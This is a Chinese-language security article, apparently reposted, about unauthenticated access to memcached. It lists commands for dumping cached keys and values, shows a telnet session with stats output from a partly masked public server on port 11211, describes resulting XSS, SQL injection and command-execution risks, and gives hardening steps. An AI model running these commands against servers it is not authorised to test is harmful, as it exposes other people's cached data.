memcache未授權訪問漏洞


一、memcache

漏洞描述:memcached是一套分布式的高速緩存系統。它以Key-Value(鍵值對)形式將數據存儲在內存中,這些數據通常是應用讀取頻繁的。正因為內存中數據的讀取遠遠大於硬盤,因此可以用來加速應用的訪問。由於memcached安全設計缺陷,客戶端連接memcached服務器后無需認證就可讀取、修改服務器緩存內容。

二、手工驗證

1 #操作指令
2 # stats  //查看memcache 服務狀態
3 # stats items  //查看所有items
4 # stats cachedump 32 0  //獲得緩存key
5 # get :state:264861539228401373:261588   //通過key讀取相應value,獲得實際緩存內容,造成敏感信息泄露

一般端口11211

 1 Xshell:\> telnet 219.94.193.*** 11211
 2 
 3 
 4 Connecting to 219.94.193.***:11211...
 5 Connection established.
 6 Escape character is '^@]'.
 7 stats
 8 STAT pid 2259
 9 STAT uptime 20493827
10 STAT time 1513170227
11 STAT version 1.2.6
12 STAT pointer_size 32
13 STAT rusage_user 501.860705
14 STAT rusage_system 482.892589
15 STAT curr_items 3
16 STAT total_items 4
17 STAT bytes 1503803
18 STAT curr_connections 5
19 STAT total_connections 362
20 STAT connection_structures 7
21 STAT cmd_get 1569
22 STAT cmd_set 4
23 STAT get_hits 1569
24 STAT get_misses 0
25 STAT evictions 0
26 STAT bytes_read 1515293
27 STAT bytes_written 1185375980
28 STAT limit_maxbytes 67108864
29 STAT threads 4
30 END

漏洞利用

除memcached中數據可被直接讀取泄漏和惡意修改外,由於memcached中的數據像正常網站用戶訪問提交變量一樣會被后端代碼處理,當處理代碼存在缺陷時會再次導致不同類型的安全問題。

不同的是,在處理前端用戶直接輸入的數據時一般會接受更多的安全校驗,而從memcached中讀取的數據則更容易被開發者認為是可信的,或者是已經通過安全校驗的,因此更容易導致安全問題。

由此可見,導致的二次安全漏洞類型一般由memcached數據使用的位置(XSS通常稱之為sink)的不同而不同,如:

        (1)緩存數據未經過濾直接輸出可導致XSS;

        (2)緩存數據未經過濾代入拼接的SQL注入查詢語句可導致SQL注入;

        (3)緩存數據存儲敏感信息(如:用戶名、密碼),可以通過讀取操作直接泄漏;

        (4)緩存數據未經過濾直接通過system()、eval()等函數處理可導致命令執行;

        (5)緩存數據未經過濾直接在header()函數中輸出,可導致CRLF漏洞(HTTP響應拆分)。

修復:

1、配置memcached監聽本地回環地址127.0.0.1。

1 [root@local ~]# vim /etc/sysconfig/memcached
2 OPTIONS="-l 127.0.0.1"  #設置本地為監聽
3 [root@local ~]# /etc/init.d/memcached restart #重啟服務

2、當memcached配置為監聽內網IP或公網IP時,使用主機防火牆(iptalbes、firewalld等)和網絡防火牆對memcached服務端口進行過濾。

3、最小化權限運行

使用普通權限賬號運行,以下指定memcached 用戶運行

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

4、配置賬戶、密碼

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM